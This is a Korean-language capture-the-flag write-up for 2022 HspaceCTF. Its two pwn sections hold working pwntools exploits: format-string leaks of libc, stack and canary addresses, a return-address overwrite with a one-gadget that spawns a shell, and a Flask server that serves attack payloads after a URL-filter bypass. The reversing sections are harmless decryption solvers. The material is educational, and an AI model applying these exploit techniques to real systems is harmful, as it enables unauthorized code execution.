2022 HspaceCTF Writeup

EasyPwn

  • fsb

우선 format string bug가 발생하지만, 우리가 입력할 수 있는 공간이 32byte밖에 되지 않아 한번에 쉘을 획득하기 힘들다. 우선 libc, stack 등의 주소를 leak했다. 이후 fsb로 stack에 있는 index변수를 덮어도 되지만, ret address의 하위 바이트를 덮어서 __libc_start_main에서 main함수로 다시 돌아갈 수 있도록 했다. 이후 return address를oneshot주소로 덮어서 shell을 획득했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

# context.log_level = 'debug'
e = ELF('./pwn')
p = process('./pwn')
# p = remote('52.79.163.146',12002)
libc = e.libc

p.sendlineafter(b'Name :',b'realsung')

pay = b''
pay += b'%19$p.%11$p.%17$p.'
pay = pay.ljust(16,b'A')
pay += b'B'*8
print(len(pay))
pause()
p.sendafter(b'> ',pay)

l = p.recvline().split(b'.')
print(l)
libc_base = int(l[0],16) - (libc.symbols['__libc_start_main'] + 243)
# log.info('libc_base : '+hex(libc_base))
print(hex(libc_base))
stack = int(l[1],16)
# log.info('stack : '+hex(stack))
print(hex(stack))
ret = stack + 0x4c
# log.info('ret : '+hex(ret))
print(hex(ret))
canary = int(l[2],16)
print(hex(canary))

one_shot = libc_base + 0x51e09
# one_shot = libc_base + 0x4f3c2
log.info('one_shot : '+hex(one_shot))

pay = b''
pay += '%{}c%14$hhn'.format(0x3b).encode()
pay = pay.ljust(16,b'B')
pay += p64(ret)
print(pay)

p.sendafter(b'> ',pay)

p.sendlineafter(b'Name :',b'realsung')

pay = b''
pay += '%{}c%14$hn'.format(int(hex(one_shot)[-4:],16)).encode()
pay = pay.ljust(16,b'B')
pay += p64(ret)

p.sendafter(b'> ',pay)

pay = b''
pay += '%{}c%14$hn'.format(int(hex(one_shot)[-8:-4],16)).encode()
pay = pay.ljust(16,b'B')
pay += p64(ret+2)

p.sendafter(b'> ',pay)

p.interactive()

CVES

  • fsb

처음에 flag를 읽어서 heap 영역에 저장한다. FSB가 발생하므로, stack영역에 flag문자열이 저장된 heap주소를 적고 이 부분을 fsb로 출력해주면 된다.
Exploit Plan은 SubDomain을 만들어서 우회해주고, flask를 이용해서 서버 세팅을 했다. binary를 분석해보면 알다싶이 debug모드를 이용해서 fsb trigger를 할 수 있다. 필터링 우회 방법이 여러가지가 있는데 나 같은 경우는 SubDomain을 활용했고, @를 이용해서 http://[email protected] 이런식으로도 우회해 내 서버로 request를 보낼 수 있다.
server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask, request, render_template
import logging
import base64

logging.basicConfig(level=logging.DEBUG)
global payload
payload = ''

app = Flask(__name__)

@app.route('/')
def home():
return 'Hello, World!'

@app.route('/cve/CVE-2022-2879')
def cve():
return '''
<script>debugon()</script>
<div class="cvedetailssummary">aarealsung<br><div class="cvssbox" style="background-color:#d1ff00">%53$p.%11$p.%9$p</div>
'''.strip()

@app.route('/fsb', methods=['GET'])
def fsb():
global payload
pay = request.args.get('payload')
app.logger.info(base64.b64decode(payload))
payload = base64.b64decode(pay)
return 'good'

@app.route('/cve/CVE-2022-2880')
def cve2():
return render_template('flag.html')

@app.route('/cve/CVE-2022-2881')
def cve4():
return '''
<script>debugon()</script>
<div class="cvedetailssummary">aarealsung<br><div class="cvssbox" style="background-color:#d1f f00">%16$s</div>
'''.strip()

if __name__ == '__main__':
app.run(port=7777, debug=True)

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
import requests
import base64
context.log_level = 'debug'
e = ELF('./cves')
# p = e.process(aslr=True)
p = remote('hspace.io',13444)
context.bits = 64
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# seturl
# geturl
# getcve
# getexp
# pause()
p.sendlineafter(b'>',b'seturl')
p.sendafter(b':',b'http://cvedetails.com.realsung.kr')
p.sendlineafter(b'>',b'getcve')
p.sendlineafter(b':',b'CVE-2022-2879')
p.recvuntil(b'Score: ',)
l = p.recvline().split(b'.')
libc_base = int(l[0],16) - (libc.symbols['__libc_start_main'] + 128)
pie_base = int(l[1],16) - 0x1f2f
heap_base = int(l[2],16) - 0x2e9a0
print(hex(libc_base))
print(hex(pie_base))
print(hex(heap_base))

payload = fmtstr_payload(9, {pie_base+0x0000000000005138:0})
print(payload)

p.sendlineafter(b'>',b'getcve')
# pause()
p.sendlineafter(b':',b'CVE-2022-2881' + b'\x00\x00\x00' + p64(heap_base + 0x1cd30))
p.interactive()

matflag

첫 인덱스는 마지막 글자를 저장하고 있고, 암호화된 이전 인덱스 값을 이용해 암호화 합니다.
마지막 글자를 알고 있으니, 브루트포싱을 통해서 만족시키는 값을 찾아내면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
t = '167 a4 1af e1 79 185 6b 189 6b d5 199 19d 19d 1b3 71 9c 109 180 195 1c0 1ce 41 c2 f7 1a8 26 c7 8a 139 193'.split(' ')
table = []
for i in t: table.append(int(i,16))

ptr = [0] * 32
ptr[0] = ord('}')
for i in range(len(table)):
for k in range(32,127):
v6 = 1
for j in range(17):
v6 = (k + ptr[i]) * v6 % 481
ptr[(i + 1) % len(table)] = v6
if ptr[(i + 1) % len(table)] == table[(i+1) % len(table)]:
print(chr(k),end="")
break

encode_box

  • TEA Algorithm

32byte를 입력받은뒤 sbox 연산하고, tea 암호화를 하는 logic을 가지고 있습니다. 간단하게 tea 복호화하고 sbox 역연산으로 구해주면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import struct

def decrypt(v0, v1 ,k):
delta, mask = 0x78C8E0E9, 0xffffffff
sum = (delta * 32) & mask
for _ in range(32):
v1 = (v1 - ((v0+sum)^ ((v0<<4)+k[2]) ^ ((v0>>5)+k[3]))) & mask
v0 = (v0 - ((v1+sum) ^ ((v1<<4)+k[0]) ^ ((v1>>5)+k[1]))) & mask
sum = (sum - delta) & mask
return struct.pack("!2L", v0, v1)

cipher = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
key = [0xDEADBEEF, 0xBEEFDEAD, 0xABCDDCBA, 0x189421FC]
table = [0xD21CB940, 0x728CD2AD, 0xA3C835FA, 0x9F78A020, 0xD0E637F9, 0x66D62DFE, 0x9E346BF9, 0xBE673B02]

flag = ''
for k in range(0, len(table), 2):
dec = decrypt(table[k], table[k+1], key)
v0, v1 = struct.unpack('<2L', dec)
v0 = v0.to_bytes(4, byteorder = 'big')
v1 = v1.to_bytes(4, byteorder = 'big')
for i in v0:
flag += chr(cipher.index(i))
for j in v1:
flag += chr(cipher.index(j))
print(flag)